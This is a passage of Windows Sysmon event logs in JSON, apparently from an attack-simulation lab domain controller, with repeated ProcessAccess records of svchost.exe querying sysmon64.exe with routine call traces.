C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1263,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1264,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1265,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1266,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 